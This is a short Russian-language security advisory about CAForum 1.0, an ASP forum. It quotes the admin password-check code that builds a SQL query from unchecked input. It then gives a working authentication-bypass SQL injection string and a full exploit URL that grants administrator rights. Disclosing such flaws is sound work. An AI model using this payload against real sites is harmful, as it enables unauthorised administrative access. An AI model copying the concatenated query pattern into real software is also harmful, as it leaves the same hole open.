Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в CAForum.
Компьютер для продвинутых
пользователей
Содержание:
CAForum
ПО: CAForum
Версия: 1.0
О CAForum:
CodeAvalanche FreeForum, написанное на asp приложение, который позволяет
свободно общаться. Вам не нужно регистрироваться для посещения форума.
Администратор может добавлять неограниченное количество тем. Уязвимость:
В файле default.asp в директории Admin содержится уязвимость, которая
позволяет провести удалённую SQL-инъекцию.
Большинство людей получают права администратора через использование поля
Пароль.
Просмотрим код проверки пароля:
<% Response.Buffer = True
userLogged=false
If Request("Password")<>"" Then
'response.Write(Request("Password"))
'response.flush
dim rsUser,selectSQL
selectSQL="SELECT * FROM PARAMS where PASSWORD='" & Request("Password")
& "'"
[...]
[End default.asp]
Как вы можете видеть, переменная Password не проверяется до
использование, что позволяет атакующему вставить специально
подготовленную строку: 1' OR '1' = '1
Запрос выглядит следующим образом: selectSQL="SELECT * FROM PARAMS where PASSWORD='1' OR '1' =
'1'
Выполнив данный запрос, форум, даст вам права администратора. Использование:
На локальном сервере испробован код:
http://127.0.0.1/[Application_Path]/[CAForum]/admin/default.asp?password=1'%20OR%20'1'%20=%20'1
В итоге были получены права администратора.